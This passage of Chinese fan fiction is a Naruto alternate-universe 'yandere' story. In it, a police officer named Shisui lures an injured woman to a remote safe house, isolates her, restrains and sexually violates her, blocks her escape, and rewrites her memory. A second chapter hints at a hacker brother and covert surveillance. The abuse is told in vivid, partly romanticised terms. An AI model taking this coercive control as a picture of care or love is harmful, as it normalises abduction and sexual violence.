我握着手机站在马路边想了想,打车,有些不舍得。还是坐电车回家吧。 绿灯亮了,我跟着人流往前走。 该找谁来帮忙呢? 滴—— 小樱,有自己的梦想要实现。雏田,毕业没多久就飞到国外继续攻读了。天天,在大阪的武术学校做老师,离东京很远。井野,要帮忙照顾家里的花店,每天天不亮就要起床。 每个人都有自己的事。 有自己重要的未来之路要走。 滴滴!! 大家都很忙呢。 是啊,已经不是大学生了。工作就是这样的。 而且只是失眠而已,睡一觉,多睡几觉就没事了。 “……小心……” 不是什么无法自理的重病,我又不是小孩子。 应该,也不需要人照顾吧。 是大家太紧张了。 就像爱理说的那样,回家吃药,然后睡一觉就好了。 “闪开!!” 就什么事都没有了。 刺目的白光。 我愣愣地抬起头,这才发现,对面的绿灯不知怎么,早就变成了红灯。 宽敞的斑马线中央,只有我一个人,脸色惨白地站在这里发呆,不知道站了有多久。 奇怪。 我刚刚在想什么。 为什么记不起来了? 马路对面的那些人张着嘴巴,挥舞着手臂,表情扭曲惊恐地在对我说着什么? 滴——! 天旋地转。 剧烈的疼痛,然后整个人轻飘飘地飞了起来。 内脏在肚子里翻卷着。 醒过来的时候是在医院里,医生对我说了很多医嘱,被重卡货车撞到还能大难不死,真是万幸。 “怎么会在马路中央发呆……太危险了……” “不知道,应该要去精神科检查了……” 护士们小声交谈。 除了骨裂、擦伤、撞击伤以外还有贫血、营养不良等毛病,这段时间需要静养,我盯着被打上石膏高高吊起的右腿发呆。 “……我的建议是,最好请家人或者朋友照顾。” 我的嘴唇嗫嚅了下。我不敢让爸爸妈妈知道:“朋友……朋友们都没有空。” 打搅别人追逐梦想的是坏蛋。 我不想做坏蛋。 但也不想被我的朋友们丢在身后。 她们好像已经走得很远了。 我想把眼泪擦掉,但是一抬手就浑身都疼。 “那也可以聘请护工,”医生说,“骨裂伤最好静养。” 我没有说话,默默攥紧床单。 或许是看到了我的难色,医生说:“我们医院也有志愿护工,是完全免费的,和政府机构合作。”他笑了笑,“正巧,今天就有负责人要来医院。你们接触下,要是合适,就可以走流程申请了。” 我连忙感激地同他道谢。 他又按压伤处,询问我痛感,正做到一半,忽然听见外面传来打招呼的声音。 来人想必是个人缘不错的男性,一路走来,都听见有人和他寒暄。 他们叫他“止水哥”,恭喜他破获大案。又戏谑着称他为“劳模”,前脚刚把连环杀人案件的凶手抓获,后脚就马不停蹄地来医院做志愿服务。 “这才是真正心系民众的好警官呀!” “大哥哥,大哥哥!看看我画的这个,这是我,这是大哥哥——” “止水,你上次推荐我的靠枕……” “止水哥,你怎么来了?” “止水!止水!快快快!扶我一把!” 随着熙熙攘攘的声音,一只手握住门把,将门推了开来。 来人穿着警视厅制服,硬丨挺英俊,肩宽腰细腿长,站姿挺拔,配枪在枪袋里闪烁着低调内敛的暗光。 黑色卷发,左眼戴着眼罩,脸上正笑着,半侧过身,对身后寒暄的人挥手作别,牙齿整齐雪白。 他一进来,整个病房就像照见阳光似的,变得骤然亮堂了起来。 医生上前,和他说起这次的志愿护工对象,也就是我的情况。他认真地听着,连连点头,时不时在本子上记录着什么。 我一看见他,心中就浮现出一个熟悉的感觉。 就在这时,手机日程弹出提醒,通知我明天有游戏的线下团聚活动。 脑海中闪过电光。 如果将游戏中双眼完好的止水,左眼用眼罩遮住。暗部的制服换成警视厅的制服…… 加上这个和什么人都能玩得开,处成朋友的性格。 我缓缓瞪大眼睛,忍不住失声叫道:“……止水哥?!” 在和医生说话的止水一愣,盯着我。 我指手画脚:“就是那个,游戏……忍村!木叶!” 止水恍然大悟。 “是你!”他叫出我游戏里的昵称,脸上浮现出恰到好处的惊喜之色。 “那这次的志愿工作就由我接下了。”他立刻扭头同医生说,“我和她是……朋友。” “原来二位认识,”医生笑道,“那就更好了。” “我……” 我刚吐出半个字,就吞了回去。 我其实更想要女性护工,异性的话多少会有些不方便。 但是……但是…… 如果是止水哥…… 他是我的朋友。 他三言两语与医生说完,顺势坐在床沿。在他走过来的时候,他不经意地、自然地伸出手,手掌一点一点,慢慢地抚摸过我打着石膏的右腿。 麻药还未过,那地方本该没有任何知觉。我却无端感到灼热的温度顺着他手指抚摸过的地方,将我血管里的血液灼烧至沸腾。 他垂着眼睫,手指颤抖的幅度越来越大、越来越激动,喉结急促地上下滑动,吞咽着唾液。 屋内明净,光线明亮。 但似乎有什么晦暗不明的东西正在笼罩。 我感到本能的不安。 在我忍不住往后坐,躲开他的前一秒,他顺势握住我搭在腹部的手,将手指插丨入指缝,双手合在一起裹着我。关切地询问我事情的经过。 他亲切又温柔。 就像游戏里经常请我吃点心的那个止水。 他们是同一个人。 是……是我的朋友。 止水对我一直很好,在游戏里总是照顾我。 我结结巴巴说了几句,因为我们本来在游戏中就是好朋友,日常也经常聊天。和陌生人第一次接触的隔阂很快在止水无形的亲和力之下消融,他具有独特的幽默感,很快就让我忍不住笑了好几次,阴霾尽散,心情也变得轻松愉快起来。 出院手续很快就办好了,我还在考虑租用拐杖轮椅的租金哪个更合算时,止水忽然将我打横抱起。 我:?? “等等!!”我挣扎着,“放我下来——” 他一路和与他打招呼的老人小孩们寒暄,记得每个人的名字,谁谁谁最近哪里不舒服,谁谁谁家的孩子在闹别扭,笑着同他们聊天,抽空对我说。 “我开了车过来。”他说,“在你康复之前,就在我家住吧。” 等等。 我流着冷汗说:“不,止水,这太麻烦你……” “噢!”他恍然大悟,笑道,“别误会。抱歉,是我忘记对你解释了。我退出一线之后就经常负责警视厅的志愿服务,为了方便照顾病人,我家里装修安置了不少辅助器材,对病人来说日常生活更方便,而且也能帮病人更快的复健。” 他顿了顿,理解地说。 “不过,你的顾虑我也清楚……如果你更想在自己家中治疗……我记得你是独居?那我们要先商量一下,我上门服务的时间,你希望我每天几点过去比较好?说起来,最近有个爱对独居单身女性下手的变态,如果在这家伙被抓获之前,放你一个人居家静养,我还真有些不放心。不过好在这家伙已经被抓捕——” 胃部开始神经质地绞痛。 跟踪。尾随。 监视。 我想起那个无处不在的,窥视的目光。 镜子里的人影。 吹拂过后颈的温热呼吸。 危险急促的喘息。 “不……不!我不要回家!!” 我脸色苍白地说,近乎尖叫,触及到止水关切疑惑的目光,我下意识收紧了手臂,垂下头,喃喃自语。 “就、就去止水家……” 因此也就错过了,止水没有高光的,幽暗漆黑的冷静理智眼睛里,闪过的黏稠情绪。 “嗯。太好了,这样你生活起来会更方便的。我也——”他柔和地、亲切地说,声音里有着轻微的、令人后背发毛的欣悦,抱着我的手臂坚硬健硕,充满力量,“终于可以……你了。” 我没有听清。 第44章 止水IF线番外-下 03、 这里说是“止水家”,其实更像是某种安全屋,缺少日常生活痕迹。 老实说,这反而让我松了口气。 这更官方、更冰冷无情、更程序化,而没有那么私人、亲密和……暧昧。 止水第一天将我送过来的路上,显然是注意到了我脸上的紧张、后悔与迟疑。特地解释了一番。 “像这样的安全屋,警视厅还准备了很多。你不是第一个,也不是最后一个。相信我,我很擅长照顾病人。”止水笑着说,在后视镜俏皮地对我眨眨眼睛,“不习惯去陌生人家里?不自在,不习惯,不舒服?”他充满同情地耸了耸肩,放缓车速,等待红灯结束,“我也是。但我不放心——” 他顿了顿,说:“把你交给别人照顾。我是不是有点过度紧张了?可我就是不能忘记你受伤的样子,你满脸血,在我怀里渐渐失去呼吸,我有几个月,每晚的噩梦都是这个……我知道,那只是一个游戏,可我……那毕竟太逼真了。而现在,差点就变成了现实!我不敢回想你躺在病床上的样子,我的心脏快停跳了!” 他在后视镜里夸张地摆出一张沮丧失落的脸,我忍不住扑哧笑出了声。 话说到这个份上,再抗拒就显得很没有分寸了。 我紧绷的身体放松,笑着对他道谢。 也因此,那天车开了很久。我在路上睡了一觉,醒来已经是深夜了。 车窗外黑影幢幢,乌鸦凄厉嘶哑的鸣叫响彻天地。 我不知道自己来到了哪里。 我疑惑地问:“还没到吗,止水?” 或许是怕影响我睡眠,车内没有开灯,一片漆黑,只有仪表盘闪着点点荧光。我只听见止水轻快的声音从驾驶座传出来:“你醒了?” 他递给我一瓶水和两粒薄荷糖,声音有着令人信任的力量。 “再有半个小时就到了。” 喝完水,吃了一颗糖以后,我很快就虚弱地又睡了过去,醒来已经是第二天了。 安全屋明亮白净,是个两层的小洋房。 我的房间,出乎意料的,装修得非常符合我的品位。 我在游戏里的房子和这个很像。 “……意外之喜?”我打量着房间,“可以这么说吗?我很喜欢这里。” “当然!看来我们喜好很相似!”止水高兴地说,将怀里的我放在了床上。 家中不仅有方便我这样不能自主行动的病患的日常辅助设施,还配备信号屏蔽仪。 因此,无论是通讯还是上网,都受到限制。如果我需要联系同事和朋友,都是拜托止水开车到三公里外,才能避免信号屏蔽仪的干扰。 这有些太麻烦止水了,因此我只在最初的几天快速和同事交接了下工作,并和担心我的朋友报了平安。之后就让他们有事联络止水的卫星电话,由止水告知我。 不能上网的生活有些无聊,我打开电视,看起了新闻录像。 最近的新闻都在报道那件轰轰烈烈的大事。那就是连环杀人案件被侦破,对独居单身女性下手的凶手被捉拿归案。 这次的新闻访谈,还额外取得了警视厅的同意,获得了抓捕过程中的一段影像。 影像是通过执法记录仪拍摄的。 负责缉拿的警视长行动快速果断,每一个命令都简短急促。在凶手劫持人质,试图逃跑,场面相持不下之时,更是当机立断,挺身而出,直接朝人质射击,准确洞穿了二人的膝盖。奠定了战果。 从行动开始到结束,整个过程不超过三分钟,却看得人心跳加速,精神紧绷。 这一行为在事后也遭受激烈的抨击与诟病。认为此举太过激进危险。 “……在确定凶手身份之前,我们做过大量的犯罪侧写。” 此次新闻访谈,正是正式回应这一质疑。 “凶手因外在形象自卑,因此格外仇视憎恨那些优秀的职场女性,认为她们‘夺走了自己的幸福’,他将自己的行为看作是‘正义的复仇’。所以,在他劫持人质逃亡的过程中,有超过九成概率,会将人质半路杀死。” 主持人言辞犀利:“可作为以保护民众为己任的警察,您却对无辜的群众开枪了!您认为这样的行为会对其他警察造成什么影响?据我所知,遭受枪击的人质A小姐至今仍在医院接受治疗!” “正义诞生于血泊之下,我不认为优柔寡断是美好品格。” 敲门声。 “请进。” 止水端着水果走进来,笑着问:“打扰你休息了?” 我摇头:“在看电视。” 我看了眼电视上言辞犀利,寸步不让、冷峻危险的警视长,又看了看穿着宽松居家服,将水果放在桌子上,黑发打着卷卷的止水。 他甚至给水果做了可爱的造型。有耳朵的兔子苹果和有芝麻眼睛的香蕉憨态可掬。 “嗯?” 注意到我的视线,止水回头看了下电视,我看见红晕一点一点漫上他的脸颊。 “你在看这个啊……”他不好意思地挠了挠鼻子。 “有点好奇止水的工作。”我解释。 “我退居二线以后,很少接手刑事案件了。”止水说,“这次是之前十分照顾我的富岳警官来拜托我……没想到还是给他添了麻烦。” 他叹了口气:“这段时间他应该没少被媒体骚扰。” “止水是结果大于过程的那种人?” 他看了我一会儿:“正义不是非黑即白的。许多警员在卧底过程中难免要做一些违背本心的事,我有个后辈,多年前因为我任性的拜托,为了挖除警视厅内部的毒瘤,投奔了黑暗,背负了难以想象的重责,此生都不能再回到光明之中。” 他怀念地抚摸脸上的眼罩:“这也是他留下的。正义的产生有时需要流血与牺牲,这就是我和他付出的代价,但我们都不后悔。” “为了更加光明的未来,为了孩子们的笑脸?”我开玩笑说,“止水是会在面对电车难题时,让电车开向人更少的轨道的人吗?” 止水温和地纠正我。 “为了我认为的,更加光明的未来。” 他的食指,一点一点顺着我的右脚脚尖,在石膏上缓慢抚摸。 我听见他低哑的嗓音。 “无论什么,只要能实现那个梦想中的未来,哪怕违背我的职业道德,哪怕千夫所指,我都会去做。” * 止水的照料无微不至,但在一些更加私密的行为,例如洗澡换衣如厕方面,还是我自己在做。 或许是身体亏空得太厉害,这次生理期腹痛的情况格外严重,我艰难地擦完身体之后,扶着辅助设备准备出去浴室时,手指失力打滑,整个人直接摔在了地上,发出好大一声响。 我被摔懵了,整个人坐在地上发愣。直到门被轰然撞开都没有反应过来。 干燥的浴巾很快盖在我潮湿的身体上,止水掐着我的手腕,在我耳边厉声问了很多东西。我的太阳穴疼得厉害,有热乎乎的东西顺着腿根往下流,脑浆被搅成一团糨糊。 好半晌才回过神。 “我、我没事,止水。”我下意识说,“不小心摔了一跤。” 话说出口,意识回神,我陡然想到,止水撞开门冲进来的时候,我还没有来得及穿衣服。 我连忙去看止水表情,他脸色焦急,目光紧张,低着头寻找查看我身上的擦伤,时不时抬起头,捏着骨头询问我有无问题,姿态专业又认真严肃。完全没有不小心看到异性裸体的不自在。 恰恰相反,他抿着唇,面无表情地盯着我,脸颊血色全无,唇色吓到苍白。没有高光的黑瞳边缘泛着瘆人的红光,仿佛能把我看透。 这就是公职人员的职业素养吧…… 我慢慢地回答了止水的问题。 确认过我没有摔到要紧的地方,可以移动之后,止水松了口气,隔着浴巾要把我抱起来,移到房间去包扎。 他的动作忽然停住了。 我顺着他的目光往下移,看见我的双腿之间,漫开一片猩红色,被浴室里的积水洇开。 止水抬起手就往里面摸。 我脸色涨得通红,连忙并住腿,尴尬地大叫道:“那里没受伤,止水,是、是我生理期!” 他就像没有听见一般,抓住我阻拦的手腕,挤开腿缝,探到里面,确认了血液的来源。 我浑身的血液都沸腾了。 “止水?!”我几乎在尖叫了,“你做什么?!” 他抽出手,在鼻端闻了闻,又舔了下。“嗯,”他平静地点头确认,紧绷的肩膀放松,“不是动脉血。” 我像看陌生人一样地看着他,难以置信。 涨红的脸变得苍白。 他在我的拒绝和挣扎中强行把我抱到了床上。 正如止水所说,这里有相当完善的辅助设施。 我都不知道我的床侧还配有拘束带。 他将我捆起来,仔细地把我身上的擦伤消毒并涂上药水。 “你……你让我觉得很不舒服,止水。”我惊恐地瞪着他,说,“这不对,这不正常……你在做什么?!松开我!!” 他抬起头,对我露出亲切友善、如同阳光般温暖的笑容,不解道:“关心照顾你?” “这不是照顾!”我说,“你不应该、不应该——” “不应该什么?” 他的声音让我浑身发毛。 他往后抓了抓卷发,逼近过来,乌黑的独眼看着我,声音很轻:“告诉我,我不应该什么?” 我后背满是冷汗。 “不应该相信你,给予你自由,让你摔倒受伤?”止水说,“是我的错,我很抱歉。我保证,以后不会再有了。” 不会再有什么? “根本不是!”我不敢相信,“是你不应该、不应该把手伸进去!!”我脸上的温度在升高。 “可我需要确认你的伤势!” “我说了!”我提高音量,吼道,“我只是生理期!!你为什么不相信我?!” “你每次都说自己没事!!”止水说,“每次……每次都!!哪怕你满身是血,你也笑着说没事!!你看看你现在,把自己弄得浑身是伤!!我不会……不会再相信你了!!” “……” 他看到我脸上的表情,整个人愣住了。接着急切地,用袖子不停去擦我脸上的眼泪,放柔语气哄道:“对不起……对不起……我不应该大声吼你的,对不起,都是我的错。我太激动了,我太害怕了。我看到你流血就特别特别害怕,我很担心你离开我,我不知道该怎么做。你太容易受伤了,我、我……” 他不安地说,像个犯了错的孩子。 “……我只是想好好照顾你,抱歉。” 他的“抱歉”和我理解的“抱歉”应该不是同一个。 因为在他松开拘束带之后,我和止水的关系并没有回到过去。 他的“照顾”变本加厉了。 他拒绝了我为自己穿衣服的要求,强行帮我擦干水珠,穿好了衣服,又拆开包装,帮我把干净的卫生棉条塞进去。 “我还是第一次尝试……”他有些紧张,在我的双腿之间抬起脸,“如果弄痛了你,请告诉我。” “我要回去。” “什么?” 我牙齿打颤,恐惧地说:“我要回家……止水!” 他笑了起来,露出洁白整齐的牙齿,我这才发现,他有两颗尖尖的,可爱的虎牙。 怪不得小孩子们总是喜欢他。 “你还要回哪里?”止水盯着我,轻声说,“这里就是我们的家。” 我浑身发毛。 我失去了所有隐私。 又或者,根本没有过。 我所做的每件事,都需要请求止水。 我想喝水。我想吃饭。我想睡觉。我想上厕所。我想洗澡。 “我想给朋友打电话。” 碰到我嘴唇的饭勺顿了一下,止水撬开我的牙齿,将汤灌进去。盯着我做出吞咽的动作后,才笑着说:“想和朋友说什么?我帮你告知。” 屋外的阳光十分明亮灿烂。 “这些天,我的朋友没有找过我吗,止水?”我说,“你真的联系过他们吗?!” 止水又将温度刚好的汤勺放在我的唇边。 我看着他。 过去了几秒钟。 我屈辱地含住汤勺,把汤汁吞咽进肚。 止水这才露出笑容:“乖孩子。” “带土和斑……”我刚吐出两个名字,汤勺就在碗底发出刺耳的摩擦声。 止水垂着眼睫,轻声说:“你引诱的宇智波还真多。” 我没有提过带土和斑的姓氏。 心脏怦怦乱跳起来,我的喉咙干涩。理智告诉我,不应该继续问下去了。 “为什么,”我说,“我的腿伤还没好。时间已经过去多久了,止水?” “……” 止水放下汤碗,温和地、缓慢地以指尖抚摸着我的右腿。 石膏早在很多天前就拆掉了。 但他依然抱着我在屋子里行动。 我听见他轻声说:“你想离开我?” 我呼吸急促。 他抬起头,纳闷地看向我:“我们,不是恋人吗?不是说好了要永远在一起吗?我们在火影岩前约定过的。你说你爱我,你全世界最爱我。我答应过你,无论如何,都会照顾你,永远照顾你。” 那是游戏……那只是个游戏!! 哪个疯子会把游戏里的故事当成真!! 我抿了抿唇,咬紧牙,放缓声音:“止水……你听我说,止水……你冷静点。” “我很冷静。” 止水端起汤碗,继续喂我汤水。 “每年警视厅的心理评估,我都是最优秀的。即使在反侦察训练过程中,被人用枪指着太阳穴,我的心率也是全队最低值。” 我惊恐地看着他。 他将最后一口汤含在嘴里,凑过来吻住我。 柔软的唇瓣在厮磨与推搡拉扯间,我听见他微不可闻的低语。 “我一直都在做最冷静的决定。你看……事情果然正在朝我期望的方向发展。” 我快要吐出来了。 我很快找到了逃出去的机会。 在止水离开家的期间,我一瘸一拐地从阳台上翻出去,用偷来的车钥匙启动他的车子,我记得他说过,这里三公里外有个小公园,我要去那里,借路人的手机报警。 计划实施得很顺利,顺利得过了头。 我满手是汗,插车钥匙时有好几次手指打滑。 我想起前些天我问止水,他是不是在监控我的一举一动。 否则无法解释,那天我在一楼最角落的浴室里洗澡摔倒,住在二楼的止水会那么快知道发生了什么。 这里是安全屋,止水说。 他是这么回答我的。 这里是安全屋。 原来他在一开始就告诉我了。 我真蠢。 多日不用的右腿使不上力气,我狠狠擦干眼泪,加上左脚,用力踩下油门,迅速开离了这里。 我很快找到了那个公园,公园里人不多,但足够了。 我一瘸一拐地从车子上下来,迫切地询问能否借我手机打电话。 或许是我的模样有些古怪,问到第三个人,那个老奶奶才愿意把手机借给我。 是只能打电话和发短信的老人机,老奶奶看我腿脚不便,还友善地让我坐在木椅上打电话。 我对她道了谢,咬着手指打给了小樱。 “喂,这里是春野樱。请问有什么事?”她的声音听起来憔悴而疲惫。 我忍不住眼泪,明明不想哭的,却抽噎了好寂寞,才说:“是我,小樱,是我!” 对面安静了半秒钟,接着响起一连串的询问声:“你去哪里了?!你知不知道我们这段时间找你找疯了,整个东京都被贴满了寻人启事,还有你的上司——” “听我说,小樱,”我哽咽着说,“我不知道我在哪里,你可以联系带土他们帮忙查查吗,我在一个公园里。我很想你,然后你要小心一个叫——喂?喂?” “嘟——” 被掐断的手机从我手里抽了出去。 老奶奶疑惑地看着站在我面前的止水:“这是?” 止水出示了警官证,把手机放进证物袋:“执行公务。您的财务损失请联系警视厅。” “噢……噢!是警官先生啊。”老人本能地信任公职人员,很快就被自己的孩子接走了。 “等等……!” 我站起来,刚准备出声,就看见止水的手指不经意地擦过腰侧的配枪。 我浑身的血液结成了冰,舌尖滞涩。 止水精准地接住我,温和地将我放在木椅上,接着在我的身边坐了下来。 公园里阳光温暖灿烂,绿植茂密。 我冷得牙齿打颤。 止水握住我的手掌。 他温和地抚摸我柔弱无力的,使不上力气的右腿,帮我按摩酸痛的地方。轻声道:“真是顽皮的坏孩子。春野小姐也很辛苦,张贴了那么多张寻人启事又留下自己的电话,以至于经常被奇怪的人骚扰。今天也遇到了冒名顶替打电话过来,想要骗取高额悬赏金的闹事者。” 他看向我苍白的、满是冷汗的脸颊。 “作为负责失踪案的警员,我当然认为此种行为十分恶劣,需要被好好教育。” 我哆嗦着,呜咽着捂着脸哭了出来。 止水掏出手帕,亲切地帮我擦掉眼泪。 “你的朋友们已经将你丢在身后;你的同事们没有你也能将工作做得很好。你所有苦恼与失落我都看在眼里。 “只有我需要你。 “你已经不用再回到那个令你痛苦的世界中了。 “在一般失踪案件中,自然人下落不明超过三年,便可由利害关系人申请宣告死亡。 “但若失踪者生存可能性极低,如遭遇海啸、山洪、地震等灾害。或已经发现尸体,可由官方进行死亡认定。” 我喘不上气,眼神空洞,逐渐开始过呼吸。 他仔仔细细看着我,露出亲切又温暖的笑容来。 “恰巧,我在警视厅的工作包括死亡认定的一部分流程,因此十分熟悉如何……让一个人在法律意义上死亡。 “世界如此之大,可已死之人却无家可归。”他说,“不被需要之人真可悲。今天吃完晚餐,就开始复健吧,康复的过程很辛苦,但我会全程陪着你的。要加油哦,我会很严厉的。” 他将我打横抱起来,放在副驾驶,拴好安全带。 近在咫尺的红瞳,旋转着令人目眩神迷的黑色花纹。 意志仿佛被改写。 我听见他的低语,手腕上凉凉的,被戴上熟悉的手链。 “我承诺过,要永远照顾你。还记得吗?我们交往的第一天……” 是啊。 我想起来了。 我和止水……是在火影岩前,做下约定的恋人。 “你爱我。”他盯着我,那时的黑纹红瞳也像现在这般美丽蛊惑,低语,“你永远……永远地爱着宇智波止水……” 第45章 泉奈IF线番外-上 01、 我抱着纸箱匆匆忙忙将明日会议需要的文件装好,正欲离开,忽然发现宇智波斑的电脑屏幕亮了起来。 是察觉到有人来了,自动从休眠程序退出了? 我将纸箱放在桌子上,凑近了查看。 “下班前忘记关电脑了?”我咕哝着,“斑也有这样马虎的时候啊……” 电脑屏幕显示,在斑离开之前,他在和某人视讯通话,对方的名字叫做“宇智波泉奈”。 没记错的话,这好像是斑的弟弟? 那个凶巴巴又严厉威严的斑,也会在休息时和家人聊天呀。 我的心脏变得毛茸茸的。 只不过定睛一瞧:聊天框内都是一些很公事公办的“指令发过去了”“新版本的迭代下周之前会给到”“能帮到斑哥就好”“……你太迷恋那个女人了”,看得我脸上的慈爱笑容逐渐消失。 只会发语音的斑,应该是在视讯里回复的泉奈,所以文字都是对面发过来的。但也能推测出,这对兄弟压根没聊什么我幻想中的友爱温馨内容。 宇智波斑,不仅是带土,你对自己亲弟弟也这样吗!! 好恐怖一工作狂! 视讯通话已经结束很久了,对方早已关闭了摄像头,显示的是黑底红叉。 但大概斑不太会操纵软件,我这边的摄像头和麦克风都还是开着的。 陡然凑近,我的脸就忽然出现在摄像头框内,把我吓了一跳。 啊啊啊……我在内心尴尬地尖叫着,手忙脚乱把电脑合起来。抱着桌子上的纸箱飞快离开了。 文件分门别类放好在会议室,等待第二天早上的会议使用。我做到一半,动作忽然停顿了下,抬头望向天花板角落。 监控闪烁着红光。 像一只注视监视的红瞳。 “在看什么呢?” 第二日会议结束后,有同事问我。 “那个监控,”我仰着头,喃喃自语,“很像一只眼睛,在看着我。” “是是。”她说,“安全管理部门的人在看着呢。” 我:“……” 是我多心了吧。 月之眼下个月就要上市,这次会议提到源代码的工程师提交了几项微调迭代,需要IT部门尽快落实,以期在上市前更好地完善游戏内容。 而工程师本人也将在近日回国,亲自督导项目。 这种全息游戏的源代码我本来以为是一整个设计团队的产物,但听会议内容,似乎在最开始,它是由单人完成的。 “毕竟是核心代码嘛。”同事说,“当然要掌握在自家人手里。” “咦?” “你不知道?”她惊讶道,“源代码是斑先生拿出来的,应该是他的亲信。” 毕竟大家都心知肚明,只会发语音的斑是绝对不可能会写代码的。 我:?? 据我所知,斑先生的亲信除了带土(真的算亲信吗?!),就只有一个人…… 我好奇地拿出手机搜索宇智波泉奈的名字,但除了当年的车祸新闻以外,没有搜到什么值得在意的内容。 就在我疑惑之时,忽然弹出了一个关联搜索提示。 奇怪,浏览器更新了吗?之前没有关联搜索提示功能的。 “您是否想要搜索‘Izuna’?” 我点击了“是”。 这次搜到了不少东西。 不如说密密麻麻到了让我惊恐的地步。 在暗网上,泉奈(Izuna)的名字后面跟着的悬赏金相当高。 看文字描述,不少悬赏人因为后台安全漏洞被攻破,或是被Izuna盗走密钥,一夜之间损失上亿美金。 讨论串下面提到Izuna的名字,也大多畏惧与嫌恶居多。 似乎不少人在他手里吃过亏。 他是个性格十分恶劣,行事诡谲、难以揣摩的独立黑客。行为并不以金钱为目标,往往攫取了大笔数字货币后,又明目张胆地公开密钥和账户,任人取走。 甚至在对方后台留下Izuna的签名,以此嘲弄对方。 无与伦比的天才、天生的上位者,以庸人们的无能狂怒为调味品,傲慢自负地取乐。 但也有一部分慕强者,频繁追逐在Izuna身后,强烈期望能够跟在Izuna大人手下做事。 斑的弟弟,那个身娇体弱,至今还在国外疗养的宇智波泉奈,原来是顶级黑客?! 难怪IT部门的人每天上班都一脸幸福。 我还以为是他们工资超高的缘故。 不是。 我回忆起斑多次和我提起泉奈的情况。 “泉奈他身体不太好,眼睛也在当年落下了后遗症,不能长时间视物。” “……泉奈吗?我的弟弟是个与世无争、淡泊温柔的孩子。这么说来,我和泉奈也有许久未见了。” “泉奈平时喜欢接触一些电子设备。他从小就爱钻研这些,不过自从有眼伤后,泉奈听从医嘱,接触电脑的时间很少了。” 这不对吧?? 与世无争?淡泊温柔? 斑你的弟弟滤镜是不是有点太厚了?! 我神思恍惚,腋下夹着记录文件刚走到斑办公室门口,就听见激烈的争吵声。 电子门锁不知何时打开了,能听见说话声。 头顶的监控无声地注视着。 “我选择信任她,是因为她有可信之处。我相信她的能力足以进入核心层,”斑严厉道,“泉奈,你在质疑我的决定?” 对面辩解了些什么,斑很快说:“什么……迷恋?你认为我会因感情影响判断?我并没有疯狂地迷恋她,泉奈!” 他捏着紧皱的眉心:“你在国外,没有亲眼见过她,对她有误解我可以理解。不!她不是忍者,也没给我下幻术。什么人能对宇智波下幻术?!你在胡言乱语些什么——” 斑看见我了。 他对电话说了两句,掐断,看向我。 我有些尴尬地摇了摇手里的文件:“我来送会议资料。” 斑点了点头,示意我放在桌子上。 他的心情好像不太好,眉心紧皱,我蹑手蹑脚放下文件,静悄悄退出去。 我在晚些时候接到一个陌生电话。 手机屏幕正上方的摄像头,像一只没有高光的漆黑眼睛。 对方开门见山:“我是宇智波泉奈,斑的弟弟。” 名义上来说,泉奈也是我的顶头上司之一。 我紧张地握着手机:“您、您好!” 泉奈沉默了片刻。 “既然是斑哥的决定,我不会干涉。但我需要你通过我的测试。” “测试?”我说,“什么测试?” “斑哥有意让你进入核心层,接触公司机密。公司高层都是我们宇智波一族的人。而你是一个外人。” 我的手指瑟缩了下,泉奈冰冷排斥的话语有些刺痛我的心。 “我需要确认你值得可信,不会出卖斑哥,将公司机密交给竞争对手,尤其是千手一族的人。” “我、我当然不会——” 泉奈打断我:“我的眼伤是怎么来的,斑哥应该告诉过你。斑哥太单纯耿直,总是容易相信邪恶的外族人,斑哥当年被千手柱间欺骗,而我的眼睛也被扉间……” 我:……? 单纯耿直?宇智波斑?泉奈你的兄长滤镜也不薄啊!! 这家人怎么回事啊!清醒一点啊! “我知道了,泉奈先生,我答应测试。”我窝囊地说,“具体要我怎么做?” “你会知道的。” 他冷冷地说。 “这是我的个人行为,我不希望斑哥知道这件事。”泉奈危险地警告我。 “明白了。”我讷讷道,“我不会告诉斑的,泉奈先生。” “注意你对我兄长大人的称呼,”他不悦道,压抑着怒火,“你还没有被承认。” “我不会让斑大人知道的,尊敬的泉奈大人。”我捧着手机卑微地说。 “连日来,我极力劝说斑哥取消决策,但他一意孤行。斑哥对你狂热的、盲目的、不正常的迷恋已经深深影响了他的判断力。在你面前,他完全失去了冷静和理智——这是一个很危险的信号。” 我:?? 相互认为对方纯洁无辜,柔弱无助。这就是你们宇智波一族独有的兄友弟恭滤镜吗? 我出了会儿神,错过了泉奈后面的话,只在他挂断前,听到了最后一句警告。 泉奈的声音压得很低。与斑的低沉磁性不同,他的声音更年轻清冷一些,宛如两块薄冰狠狠地在耳畔擦过。 “我必须……将危险物控制在安全区以内。” “泉奈先、泉奈大人?泉奈大人?那我的测试大概什么时候开始?泉奈大人?” 我捧着传出忙音的手机发愣。 电车报到我要下车的站点,我连忙抓着手机,背着包挤了出去。 走在路上,我甩了甩头。 奇怪,我怎么会在电车上? 我想了想,下班前做了什么,我居然完全没有印象了。 我走回家,打开电脑,工作窗口里,回复的工作邮件我并没有撰写的记忆。但工作内容和口癖,的确是我平时的习惯。 我往后躺在沙发上,翻了个身,目光扫到落地镜旁的衣架,挂着我的外套。 我好像也不记得,自己是怎么晋升到公司的管理层了。 从实习生到管理层,我升职的速度比火箭还快。 今天的内部会议,我怎么会知道,要提前去斑的办公室拿分发的资料? 我揉着太阳穴爬起来,发现小樱给我发了消息。 “最近有好好吃药吧?” 她关心地问。 我往上翻了下聊天记录,发现自己几个月前和小樱抱怨过,最近记性总是不好,老是丢三落四。她提议让我去医院看看。 我在抽屉里翻了翻,果然找到了几个月前精神科开的诊断书,严重的精神创伤导致的解离性失忆。 人脑有保护机制。 当接受太痛苦的记忆时,会选择遗忘。 我把药翻出来,倒了水,按照医嘱吃了几颗。回复了小樱后,我坐在沙发上想了想。 最近的工作压力有这么大吗? 既然是工作压力太大导致的病,那就适当地放松娱乐一会儿吧。 我退出工作邮箱,打开Steam,准备选几款游戏玩一玩,放松。 但令我不解的是,我的游戏库里居然购买了许多双人合作游戏。 而且大部分都通关了。 我完全没有玩过的印象,是和小樱鸣人他们玩的吗? 我有些迟疑地往下翻,我记得自己之前沉迷于一款战国时代,建设忍者村的经营游戏。好像在游戏里认识了很好的朋友……是谁来着? 我怎么也找不到游戏,凭着记忆搜索之后,出现的页面却显示我从未购买过这款游戏。 我坐在电脑前发会儿呆,忽然看见电脑屏幕上方,黑漆漆的摄像头。 像一只眼睛。 我挪开目光,忽然发现,天花板角落有监视器的红光在闪烁。 放在手边的手机,顶端的摄像头也恰好对准我的脸。 我有种被无数双眼睛窥视的不自在感。 我为什么要在家里装监视器?是什么时候的事……完全不记得了。 就在这时,我听见一声猫叫,一只黑色长毛猫喵喵咪咪地走进来,对我撒娇。 